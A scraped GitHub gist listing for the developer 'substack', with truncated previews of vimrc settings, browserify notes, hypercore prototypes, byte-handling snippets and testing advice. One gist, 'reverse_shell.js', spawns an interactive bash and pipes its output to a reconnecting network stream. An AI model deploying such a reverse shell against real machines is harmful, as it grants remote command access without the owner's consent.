Skip to content

Instantly share code, notes, and snippets.

James Halliday substack

Block or report user

Report or block substack

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View .vimrc
set autoindent
set indentexpr=off
set expandtab
set tabstop=4
set sw=4
set textwidth=80
set nohls
set noshowmatch
syntax enable
View browserify_for_webpack_users.markdown

browserify for webpack users

There's been a strange explosion in misinformation about browserify recently, particularly in comparisons to webpack.

Generally speaking, most of this confusion stems from how webpack is more willing to pull features into its core to ease discoverability while browserify is more likely to push features out to userland instead.

I think that longer-term, separability has more benefits from a maintenance and

View gist:5075355
My thoughts on writing tiny reusable modules that each do just one
thing. These notes were adapted from an email I recently sent.
If some component is reusable enough to be a module then the
maintenance gains are really worth the overhead of making a new
project with separate tests and docs. Splitting out a reusable
component might take 5 or 10 minutes to set up all the package
overhead but it's much easier to test and document a piece that is
substack / perf.js
Created Jul 17, 2019
dataview vs typed array performance
View perf.js
let abuf = (function () {
let ua = new Uint32Array(1000*1000)
let max = 2**32
for (let i = 0; i < ua.length; i++) {
ua[i] = i%5
return ua.buffer // assume we got this from a network connection
;(function () {
View reverse_shell.js
var spawn = require('child_process').spawn;
var net = require('net');
var reconnect = require('reconnect');
reconnect(function (stream) {
var ps = spawn('bash', [ '-i' ]);
ps.stdout.pipe(stream, { end: false });
ps.stderr.pipe(stream, { end: false });
ps.on('exit', function () { stream.end() });
substack / package.json
Created Dec 6, 2013
using `npm run` to build and watch with less and browserify
View package.json
"name": "my-app",
"version": "0.0.0",
"dependencies": {
"browserify": "~2.36.1",
"less": "~1.5.1"
"devDependencies": {
"watchify": "~0.4.1",
"catw": "~0.2.0"
substack / kv.js
Created Jun 27, 2019
sharding hypertrie kv prototype api
View kv.js
var argv = require('minimist')(process.argv.slice(2), {
alias: { d: 'datadir', s: 'swarm', n: 'node' },
string: [ '_' ]
if (argv._[0] === 'listen') {
var prefix = argv._[1]
var listen = require('../listen.js')({
swarm: require('discovery-swarm')
substack / core.js
Created Jun 21, 2019
hooking into have/want events in hypercore replication
View core.js
var hypercore = require('hypercore')
if (process.argv[2] === 'init') {
var feed = hypercore(process.argv[3])
feed.ready(function () {
} else if (process.argv[2] === 'populate') {
var feed = hypercore(process.argv[3])
var r = feed.replicate({ live: true })
substack / bytes.js
Last active May 17, 2019
split a u64 into two u32s and verify that the combination works
View bytes.js
var n = 123456789012345
var u32a = Uint32Array.from([n,n/2**32])
var u8a = new Uint8Array(u32a.buffer)
// Uint8Array [ 121, 223, 13, 134, 72, 112, 0, 0 ]
substack / how_i_write_tests_for_node_and_the_browser.markdown
Last active May 15, 2019
how I write tests for node and the browser
View how_i_write_tests_for_node_and_the_browser.markdown

In node I use simple test libraries like tap or tape that let you run the test files directly. For code that needs to run in both the browser and node I use tape because tap doesn't run in the browser very well and the APIs are mostly interchangeable.

The simplest kind of test I might write in test/ looks like:

var test = require('tape');
var someModule = require('../');

test('fibwibblers and xyrscawlers', function (t) {
You can’t perform that action at this time.